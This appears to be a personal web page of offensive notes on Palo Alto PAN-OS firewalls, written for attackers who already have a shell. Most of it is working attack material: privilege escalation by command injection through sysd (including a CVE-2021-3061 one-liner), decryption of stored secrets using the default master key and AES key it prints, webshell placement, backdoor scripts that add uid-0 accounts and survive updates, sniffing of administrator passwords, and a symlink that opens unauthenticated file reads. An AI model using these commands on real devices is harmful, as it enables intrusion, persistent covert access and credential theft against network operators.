PAN-OS notes for hackers
PAN-OS is full of vulnerabilities. This page has some information that might be interesting once you pop your first shell.
This is a collection of notes I have put together while researching the internals of PAN-OS. I am not a firewall administrator or a redteamer, so treat this as a starting point because there are probably plenty of other goodies missing from this page.
Logging in
By default, root users can not log in on the console. My preferred way around this is to add a non-root user, and then ensure a convenient privesc mechanism is available. I usually just add a new user with uid=0, which I can su to. Make sure the shell for these users is set to bash or sh.
Alternatively, you can enable root login with the following command:
# sed -i 's/^-:root:ALL$/\+:root:ALL/' /etc/security/access.conf
This can be convenient if you are logging in repeatedly, but it still requires a root user with a known password. The configuration will also get reset on reboot, so make sure you have a backup way in.
sysd
Sysd is the main IPC mechanism used by PAN-OS. Processes can make data available in sysd, and they can register callbacks and notifiers to run code when objects are updated. It's a huge attack surface, and it's accessible to any attacker who has a shell. Looking at the code handling sysd callback functionality, security often seems like an afterthought (probably because it's not directly accessible to the outside world). I won't go into full detail about how sysd works internally, but this section covers some basics for interacting with it.
Most of your interaction with sysd will take place using the sdb command. Sysd organizes data heirarchically, with paths such as `cfg.platform.mac`. Reading values is as simple as:
# sdb cfg.platform.mac
cfg.platform.mac: D1:55:0C:1A:7E:DD
You can also specify wildcards:
Sysd has a concept of permissions. In practice, that just means you might have to add `-P3` to your command sometimes.
# sdb sys.root.passwd-challenge
'sys.root.passwd-challenge': NO_MATCHES
# sdb -P3 sys.root.passwd-challenge
sys.root.passwd-challenge:
You can update values:
# sdb cfg.platform.mac
cfg.platform.mac: D1:55:0C:1A:7E:DD
# sdb cfg.platform.mac="'D1:55:0C:18:BA:BE'"
cfg.platform.mac: D1:55:0C:18:BA:BE
# sdb cfg.platform.mac
cfg.platform.mac: D1:55:0C:18:BA:BE
You can also interact with sysd from python or C. My notes on the C api are still too incomplete to be very useful, but python is more straightforward. The same logic as above, implemented in python:
import sysd
sdb=sysd.sysd("mgmt",priv=3)
mac_address=sdb["cfg.platform.mac"]
print("mac address is "+mac_address)
sdb.modify(name="cfg.platform.mac",object=mac_address.replace("A:7E:DD","8:BA:BE"))
print("mac address is now "+sdb["cfg.platform.mac"])
The first argument to sysd.sysd() is the host it connects to. Every script I've seen uses "mgmt", although on my system that's just an alias for 127.0.0.1 in /etc/hosts. The priv argument is the equivalent of -P3 from the sdb command. In this case, it's not needed, but it is useful in other situations.
Sysd allows various types. When using the sdb command, the following syntaxes are used:
- string: sdb cfg.example="'test'"
- int/uint: sdb cfg.example=1
- dict: sdb cfg.example="{'test':1, 'test2':'abcd'}"
- blob: sdb cfg.example='<AAAA>' # (base64-encoded data inside brackets)
- bool: sdb cfg.example=True
- list: sdb config.example=[1,2,3]
A few privescs
If you ever see a system where `cfg.product.bootstrap` is "factory_reset", the following will run `sh /tmp/privesc` as root:
$ sdb -P3 "sys.bootstrap.logger={ 'level': 1, 'message': <dGVzdCc7c2ggL3RtcC9wcml2ZXNjOyM=>, }"
This has been reported, so technically it isn't a zero-day, but I haven't heard any response or advisory indicating a fix has been released.
As another example, CVE-2021-3061 can be exploited to run /tmp/privesc as a shell script with the following commands:
$ sdb -P3 sys.root.passwd-challenge=new
$ sdb -P3 -e "sys.root.passwd-response={'response-string':'a\\'|sh</tmp/privesc;\\'','login-type':'none','user':'hacker','login-ip':'1.3.3.7',}"
There are plenty of other vulnerabilities in sysd. I'm happy to give a few away privately if you contact me, but for now I'll refrain from publishing the nice ones.
Crypto API
PAN-OS uses a device master key to encrypt certain data including the XML API tokens and config secrets. You can encrypt or decrypt data using sw.cryptod.runtime.api.encr and sw.cryptod.runtime.api.decr.
# sdb -P3 -e "sw.cryptod.runtime.api.encr={'ptext-len':32, 'plain-text':'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'}"
sw.cryptod.runtime.api.encr: { 'encrypted-text': <LUFRPT1ROWc3TG9GcWljcklkdkZsTUxDMkpWaGNnV0E9RW5BWE5jMDd4eThwZjFveTR2YmJx
VzV3NmVtdWtpQkkyZW9HWGtNT3J6ajVjb3U5eXRJV2VtOS9SVVE1aDM1Kw==>, 'etext-len': 97, 'plain-text': <QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=>, 'ptext-len': 32, }
# sdb -P3 -e "sw.cryptod.runtime.api.decr={'etext-len':97, 'encrypted-text':'-AQ==Q9g7LoFqicrIdvFlMLC2JVhcgWA=EnAXNc07xy8pf1oy4vbbqW5w6emukiBI2eoGXkMOrzj5cou9ytIWem9/RUQ5h35+'}"
sw.cryptod.runtime.api.decr: { 'encrypted-text': <LUFRPT1ROWc3TG9GcWljcklkdkZsTUxDMkpWaGNnV0E9RW5BWE5jMDd4eThwZjFveTR2YmJx
VzV3NmVtdWtpQkkyZW9HWGtNT3J6ajVjb3U5eXRJV2VtOS9SVVE1aDM1Kw==>, 'etext-len': 97, 'plain-text': <QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=>, 'ptext-len': 32, }
Note that the encrypted-text returned by encr is base64-decoded before being decrypted. This is because the encrypted string is returned as a blob, but passed to decr as a string.
Because calling sdb directly is unwieldy, I made a couple python scripts to simplify the calls:
# cat encr.py
import sysd, sys
obj="sw.cryptod.runtime.api.encr"
if len(sys.argv)<2:
print("usage: encr.py <data>")
exit()
data=sys.argv[1]
sdb=sysd.sysd("mgmt",priv=3)
c={
"ptext-len":len(data),
"plain-text":data
}
result=sdb.modify(name=obj, object=c)
print(result["encrypted-text"])
# cat decr.py
import sysd, sys
obj="sw.cryptod.runtime.api.decr"
if len(sys.argv)<2:
print("usage: decr.py <data>")
exit()
data=sys.argv[1]
sdb=sysd.sysd("mgmt",priv=3)
c={
"etext-len":len(data),
"encrypted-text":data
}
result=sdb.modify(name=obj, object=c)
print(result["plain-text"])
# python encr.py 'AAAABBBB'
-AQ==fNGI7zqep/oO6cYsFocJaVRg9cA=Ip8UcbOICb8iV2B4SpzIQQ==
# python decr.py '-AQ==fNGI7zqep/oO6cYsFocJaVRg9cA=Ip8UcbOICb8iV2B4SpzIQQ=='
AAAABBBB
Although less useful, I will note that users who can access the management web interface can also encrypt or decrypt data. Encryption is as easy as opening up the browser console and running
PanDirect.run("Util.encrypt", "sometext")
then switching to the network tab and looking at the response.
Decrypting is a bit more difficult. There is no Util.decrypt function, but (at the time of writing) I have not seen any signs that Palo Alto has mitigated a public padding oracle attack which allows plaintext to be recovered by attempting to authenticate to the XML API and looking at logs. I may write more about this in the future, but for now accessing the crypto API through sysd is easier.
Also note that many users don't change the default master key from p1a2l3o4a5l6t7o8. The format for encrypted data is base64(version)||base64(sha1(plaintext))||base64(ciphertext). The default AES key (derived from the master key) is 8103850245b9b48f0428c5b74e2615528103850245b9b48f0428c5b74e261552, the IV is all-zeroes, and the algorithm is AES-256 CBC.
Interesting files
Config files are stored in /opt/pancfg/mgmt/saved-configs. You may also find files in /opt/pancfg/mgmt/commit-candidates.
PHP files for web are in /var/appweb. VPN portal files are in /var/appweb/sslvpndocs, and management interface files are in /var/appweb/htdocs. You can drop webshells in there, but keep in midn that the web server runs as `nobody`.
Various bits of sensitive information exist in /tmp. For example, you will find session files and authentication tokens for the management interface and xmlapi.
Persistence across updates
My preferred method of maintaining persistence across updates is to modify /opt/panrepo/images/legacy/<version>/panos/post. This is a python script that gets run on the new system on the first boot after an update is applied. On my research systems, I usually just echo a couple lines into passwd so that I can log in via ssh.
import os
os.system("echo 'hacker:k2ZAZbMvR/eOM:1:1:nobody:/:/bin/sh' >> /etc/passwd")
os.system("echo 'toor:k2ZAZbMvR/eOM:0:0:nobody:/:/bin/sh' >> /etc/passwd")
The problem with this method is that the new update must be downloaded before you can modify the file. An alternative approach is to look for signs that an update is in progress, and tamper with that.
#!/bin/bash
while [ TRUE ]; do
if [ -e /opt/panrepo/pending/firstboot ]
then
if [ -z "$(grep hacker /opt/panrepo/pending/firstboot)" ]
then
sed -ie 's/import pansys/import pansys\nos.system("echo hacker:k2ZAZbMvR/eOM:1:1:nobody:/:/bin/sh >> /etc/passwd")/g' /opt/panrepo/pending/firstboot
sed -ie 's/import pansys/import pansys\nos.system("echo toor:k2ZAZbMvR/eOM:0:0:nobody:/:/bin/sh >> /etc/passwd")/g' /opt/panrepo/pending/firstboot
fi
fi
done
You can set this up to auto-run on reboot. In this example, I will assume that the above script is located at /usr/local/bin/backdoor. Then I will add the following to /etc/init.d/backdoor
#! /bin/sh
#
# pan_backdoor backdoor
#
# chkconfig: 2345 90 90
# description: backdoor
#
. /etc/init.d/functions
case "$1" in
start)
/usr/local/bin/backdoor 1>/dev/null 2>/dev/null &
;;
*)
:
esac
exit 0
then run
/sbin/chkconfig --level 2345 backdoor on
Note that this will be deleted on upgrade, so you should add additional code to maintain persistence if needed.
Snooping configuration changes
Configuration changes usually rely on the mgmtsrvr process, which listens on port 10000. Data is usually xml, so you can snoop administrator activities in real time by running
# tcpdump -nU -w - -i lo port 10000|strings
You will only see interesting activity on this port when configuration changes are being made, but it includes sensitive information (plaintext password changes, keys, etc).
Allow unauthenticated file access through vpn interface
On systems with globalprotect enabled, you can allow unauthenticated users to read arbitrary files as the web user (`nobody`) by creating a symlink to / in /opt/pancfg/globalprotect. This is the directory where the globalprotect executables which a client would download are stored, and they live at /global-protect/msi on the vpn web interface. So, for example, if you want to read passwd and you have symlinked /opt/pancfg/globalprotect/hi to /, you would GET /global-protect/msi/etc/passwd.
return to site index